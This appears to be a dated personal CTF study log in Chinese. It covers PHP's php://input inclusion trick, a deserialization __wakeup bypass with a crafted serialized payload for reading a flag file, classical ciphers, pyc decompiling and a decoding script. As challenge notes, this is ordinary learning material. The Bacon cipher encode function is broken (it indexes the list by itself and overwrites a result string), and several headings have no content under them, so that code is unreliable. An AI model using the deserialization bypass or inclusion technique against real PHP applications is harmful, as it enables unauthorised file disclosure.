8.27
今天进行代码审计遇到的php函数。
8.25
1.php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码来执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
需要开启alllow_url_include
当enctype="multipart/form-data"时,php://input是无效的。
2.php data://伪协议
8.24
1.函数调用堆栈变化
首先将参数入栈
再将函数返回地址入栈
再创建调用函数的栈帧
再局部变量入栈
2.php反序列化漏洞
今天遇到一道php序列化的题,利用__wakeup的漏洞来绕过执行。
题目:
php序列化通俗来说就是将对象转换为字符串
反序列化就是将字符串转换为相应的对象
php序列化和反序列化的例子:
<?php
class chybeta{
var $test='123';
}
$class1=new chybeta;
$class1_ser=serialize($class1);//序列化
print($class1_ser);
echo '<br>';
$class1_unser=unserialize($class1_ser);//反序列化
print_r($class1_unser);
?>
结果:
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
chybeta Object ( [test] => 123 )
一些在序列化和反序列化中经常遇到的魔法函数:
__construct() 在创建对象时自动调用
__destruct() 在对象销毁时被调用
__toString() 在一个对象被当成字符串使用时被调用
__sleep() 当对象被序列化时使用
__wakeup() 在一个对象被反序列化时调用
在serialize时调用__sleep()
在unserialize时调用 __wakeup()
由于__wakeup()存在执行漏洞,当一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,所以将该题的对象序列化后,修改其属性再传值,即可绕过__wakeup()函数,得到flag.
3.还有一道反序列的题,还是利用__wakeup(),只不过base64编码后提交上去一直不对,看别人的才发现是php序列化后会在private属性时会在类名和属性名前各加一个空字符。555真的太菜了
代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
};
$a=new Demo("fl4g.php");
$class1_ser=serialize($a);
print $class1_ser;
$r="O:+4:\"Demo\":2:{s:10:\"\00Demo\00file\";s:8:\"fl4g.php\";}";//php中""之间的字符才会转义,''之间的字符会原封不动地显示,
//php在序列化private属性时会在类名和属性名前各加一个空字符,所以在直接复制时要添上,这样反序列后才对。
echo '<br>';
$e=base64_encode($r);
print $e;
echo '<br>';
$class1_unser=unserialize($class1_ser);
print_r($class1_unser);
?>
8.18
1.今天遇到了轮转密码,记录一下。
8.17
1.培根密码
培根密码本质上是一个替代密码,以下是其两种替代加密方式:
第一种:
第二种:
这种加密方式可以有多种形式,可以直接将a、b当作0和1来表示,这种就是比较简单容易看出来的。
也可以利用一串字符的大小写形式来表示密文,例如:加密后的密文为:
QWERFSDFGnOOOnB
大写字母代表a,小写字母代表b,则以上字符串解密过后就表示:ABC。
改了一下的python脚本:
import re
alphabet=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]
second_cipher=["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]
def encode():
string=input("Please input string to encode:\n")
e_string1=""
e_string2=""
for alpha in string:
index=alphabet.index(alphabet)
e_string1+=first_cipher[index]
e_string2=second_cipher[index]
print("first encode method result is:\n"+e_string1)
print("second encode method result is:\n"+e_string2)
return
def decode():
e_string=input("Please input string to decode:\n")
e_array=re.findall(".{5}",e_string)#e_string作为一个列表
d_string1=""
d_string2=""
for k in e_array:
index1=first_cipher.index(k)
d_string1+=alphabet[index1]
index2=second_cipher.index(k)
d_string2+=alphabet[index2]
print("first decode method result is: "+d_string1)
print("second decode method result is: "+d_string2)
return
if __name__=='__main__':
while True:
number=input("encode 1,decode 2:\n")
number=int(number)
if number==1:
encode()
elif number==2:
decode()
else:
break
2.今天遇到了一个云影密码,奇奇怪怪的加密方式,用这些奇奇怪怪的密码去跟人表白人家一辈子都不会发现hhh。
3.变型的栅栏密码,W型:
4.今天(8.17)做攻防世界的一个解密题,下载附件是一个pyc文件,搜了下python反编译方法,发现安装一下uncompyle6,挺好用的记录一下。就是简单的pip安装即可。
uncompyle6 -o a.py b.pyc
反编译过后的注释:
5.还有一道贼恶心的题,python在base64.b32decode()解码后输出的字符编码格式是什么玩意!!居然是ISO8859-1,解密脚本写了好久就是这里出错一直找不到哪里出了问题,算了记录一下,就是以下这道题,就是逆向解开这三个加密算法,倒也是很简单:
我的脚本:
import base64
import chardet
s="UC7KOWVXWVNKNIC2XCXKHKK2W5NLBKNOUOSK3LNNVWW3E==="
decode3=base64.b32decode(s)
decode3=decode3.decode("ISO8859-1")
decode2=''
for i in decode3:
s2=ord(i)
s2=s2^36
s2-=36
s2=chr(s2)
decode2+=s2
decode1=''
for j in decode2:
s1=ord(j)-25
s1=s1^36
s1=chr(s1)
decode1+=s1
print(decode1)